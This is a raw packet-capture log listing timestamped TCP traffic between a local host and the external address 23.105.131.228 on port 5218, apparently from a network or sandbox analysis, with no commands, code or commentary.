May 25, 2022 16:32:05.280097961 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.280361891 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.283212900 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.283298969 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.283464909 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.283529997 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.283709049 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.283899069 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.283967018 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.284051895 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.284115076 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.284177065 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.284228086 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.284291983 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.284440041 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.284614086 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.284630060 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.284854889 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.285152912 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.285240889 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.285373926 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.285427094 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.285607100 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.285686016 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.285794973 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.285864115 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.286096096 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.286254883 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.286284924 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.286386967 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.286442041 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.286535025 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:09.287158966 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:09.548075914 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:09.548311949 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:09.548587084 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:09.920164108 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:09.920394897 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:09.989164114 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:09.989362001 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:10.215662003 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:10.215950966 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:10.290267944 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:10.290713072 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:10.536596060 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:10.537141085 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:10.597219944 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:10.597410917 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:10.853691101 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:10.853919029 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:10.899467945 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.284427881 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.284735918 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:11.382808924 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:11.404966116 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.405236959 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:11.406966925 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.407047987 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.407095909 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.407169104 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:11.407219887 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:11.407351971 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.407469988 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.407617092 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:11.407748938 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:11.408143044 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.408207893 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.408274889 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.408425093 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:11.408469915 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:11.408526897 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.408771992 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:11.584887981 CEST	5218	49821	23.105.131.228	192.168.11.20
May 25, 2022 16:32:11.585139036 CEST	49821	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:15.409117937 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:15.727159977 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:15.727356911 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:15.727698088 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:16.070606947 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:16.070857048 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:16.099690914 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:16.099966049 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:16.370309114 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:16.370553017 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:16.414165974 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:16.414361954 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:16.662432909 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:16.662647009 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:16.716831923 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:16.717000008 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:16.962996960 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:16.963165045 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.033376932 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.410309076 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.410561085 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.504149914 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.504416943 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.505728006 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.506001949 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.506134033 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.506242990 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.506264925 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.506371021 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.506541014 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.521404982 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.521508932 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.521631002 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.521790028 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.521888018 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.521914005 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.522056103 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.522264957 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.570456028 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.741473913 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.742360115 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.764652967 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.764765978 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.764882088 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.764950037 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.765122890 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.767081976 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.767265081 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.767287970 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.767487049 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.767553091 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.767714977 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.769120932 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.769402027 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.771598101 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.771825075 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.775146961 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.775360107 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.775383949 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.775629044 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.779964924 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.780075073 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.780220032 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.780262947 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.802489042 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.803735971 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.810395956 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.810508013 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.810636997 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.810683012 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.810740948 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.810879946 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.812297106 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.812596083 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.813921928 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.813958883 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.814133883 CEST	5218	49822	23.105.131.228	192.168.11.20
May 25, 2022 16:32:17.814235926 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:17.814294100 CEST	49822	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:21.597239971 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:22.101938963 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:22.102145910 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:22.102444887 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:22.525232077 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:22.525531054 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:22.707223892 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:22.707402945 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:22.844716072 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:22.845031023 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.062225103 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.062638044 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.104482889 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.104712963 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.431256056 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.431622982 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.795402050 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.795583010 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.827595949 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.827852011 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.833410025 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.833775997 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.833818913 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.833858013 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.833906889 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.834094048 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.834125996 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.834163904 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.836478949 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.836561918 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.836617947 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.836786032 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.836880922 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.836944103 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:23.837228060 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.837246895 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:23.911452055 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.114111900 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.114356041 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.131809950 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.132045031 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.132139921 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.132261038 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.132302999 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.132308006 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.132356882 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.132396936 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.132538080 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.132587910 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.132591963 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.132638931 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.132734060 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.132745981 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.132860899 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.132903099 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.132906914 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.133007050 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.133100033 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.133111954 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.133155107 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.133276939 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.133327961 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.133424044 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.133483887 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.133584976 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.133594990 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.133652925 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.133738041 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.133780003 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.133903027 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.133913994 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.133959055 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.134067059 CEST	5218	49826	23.105.131.228	192.168.11.20
May 25, 2022 16:32:24.134130001 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:24.134301901 CEST	49826	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:27.939655066 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:28.338614941 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:28.338819027 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:28.339077950 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:28.672909021 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:28.673103094 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:28.732640982 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:28.732805967 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:28.970758915 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:28.970959902 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:29.025901079 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.226758957 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.227047920 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:29.529099941 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.529277086 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:29.824058056 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.824403048 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:29.952068090 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.952132940 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.952368021 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:29.954132080 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.954212904 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.954260111 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.954627991 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:29.956593037 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.956819057 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:29.958734035 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.958971977 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:29.959019899 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.959103107 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.959151030 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:29.959752083 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.129062891 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.129443884 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.160106897 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.219928980 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.220040083 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.220109940 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.220189095 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.220210075 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.220273018 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.220277071 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.220340014 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.220429897 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.220429897 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.220482111 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.220551968 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.220607996 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.220643997 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.220671892 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.220707893 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.220762968 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.220810890 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.220901966 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.220943928 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.220983028 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.221081018 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.221127033 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.221128941 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.221350908 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.221514940 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.221573114 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.221626043 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.221709967 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.221791029 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.257282972 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.257384062 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.257441044 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.257493019 CEST	5218	49830	23.105.131.228	192.168.11.20
May 25, 2022 16:32:30.257549047 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.257615089 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:30.257636070 CEST	49830	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:34.334309101 CEST	49831	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:34.587548971 CEST	5218	49831	23.105.131.228	192.168.11.20
May 25, 2022 16:32:34.587806940 CEST	49831	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:34.588426113 CEST	49831	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:34.844439983 CEST	5218	49831	23.105.131.228	192.168.11.20
May 25, 2022 16:32:34.844641924 CEST	49831	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:35.018297911 CEST	49831	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:35.115016937 CEST	5218	49831	23.105.131.228	192.168.11.20
May 25, 2022 16:32:35.115245104 CEST	49831	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:39.045593977 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:39.455291986 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:39.455566883 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:39.456089020 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:39.862143040 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:39.862462997 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:39.866009951 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:39.907852888 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:40.176110983 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:40.176379919 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:40.519176960 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:40.519408941 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:40.877685070 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:40.877923012 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.208512068 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.208690882 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.301403999 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.301635981 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.301697969 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.301758051 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.301963091 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.302011013 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.304099083 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.304212093 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.304353952 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.304402113 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.304553032 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.304735899 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.307379007 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.307475090 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.307555914 CEST	49832	5218	192.168.11.20	23.105.131.228
